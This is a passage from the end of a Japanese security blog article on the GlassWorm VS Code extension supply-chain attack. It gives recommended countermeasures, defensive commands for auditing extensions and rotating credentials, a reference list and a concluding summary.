  2. 拡張機能への署名の義務化: Sigstoreベースのコード署名体系の導入
  3. 権限モデルの導入: 拡張機能のシステムアクセス権限の細分化
  4. 自動セキュリティスキャン: 公開前のUnicode異常検出を含む静的解析
  5. SBOMの義務化: 拡張機能の依存関係の透明性の確保

開発者が今すぐできること

# 1. インストール済み拡張機能の監査
code --list-extensions --show-versions > ~/my-extensions.txt

# 2. 疑わしい拡張機能の特定
# ダウンロード数が少なく、最近アップデートされた拡張機能に注意
# Open VSXでのみ提供される拡張機能には特に注意

# 3. VS Codeのセキュリティ設定の適用
# settings.jsonに以下の設定を追加
code --install-extension ms-vscode.vscode-unicode-highlight

# 4. 定期的な認証情報のローテーション
# GitHub: 90日ごとにトークンを更新
# SSH: 四半期ごとに鍵をローテーション
# AWS: IAMポリシーで90日ごとの強制更新

参考資料

  1. The Hacker News - "GlassWorm Malware Infects 72+ Open VSX Extensions in Massive Supply Chain Attack" (March 2026)
  2. SecurityWeek - "Supply Chain Attack Targets VS Code Extensions with Invisible Unicode Obfuscation" (March 2026)
  3. Snyk Blog - "Defending Against GlassWorm: Detection Strategies for Unicode-Based Code Hiding" (March 2026)
  4. Veracode Research - "GlassWorm: The First Self-Propagating VS Code Extension Worm - Technical Analysis" (March 2026)
  5. DarkReading - "Self-Propagating GlassWorm Attacks 151+ GitHub Repos Through VS Code Extensions" (March 2026)
  6. Fluid Attacks Blog - "GlassWorm Supply Chain Attack: Blockchain C2 and Unicode Steganography Deep Dive" (March 2026)
  7. OWASP - "Software Supply Chain Attack Taxonomy and Mitigation" (2025)
  8. NIST - "NIST SP 800-218: Secure Software Development Framework (SSDF)" (2024)
  9. SLSA Framework - "Supply-chain Levels for Software Artifacts" (https://slsa.dev)
  10. Unicode Consortium - "Unicode Variation Sequences" (https://unicode.org/faq/vs.html)

まとめ

GlassWorm攻撃は「開発ツールは安全だ」という暗黙の信頼を完全に打ち砕いた。Unicode変異セレクタを活用したコード隠蔽、ブロックチェーンベースのC2チャネル、自己伝播メカニズムという3つの革新的手法の組み合わせは、既存のセキュリティモデルでは検出と防御が根本的に難しいという事実を証明した。

重要な点は、GlassWormが技術的に新しいものではなく、既知の手法を創造的に組み合わせたものだということである。Unicodeステガノグラフィ、ブロックチェーンC2、ワームの伝播はいずれもすでに研究された技術だが、それをVS Code拡張機能エコシステムという比較的ゆるいセキュリティ環境に適用した点がGlassWormの差別点である。

開発環境のセキュリティは、もはや選択ではなく必須である。本記事で提示した検出スクリプト、pre-commitフック、CI/CD統合スキャン、組織のセキュリティチェックリストを直ちに適用し、長期的にはゼロトラスト開発環境への移行を計画すべきである。サプライチェーン攻撃は進化を止めず、防御もまた絶えず進化しなければならない。

コメント

まだコメントはありません。

ログインするとコメントできます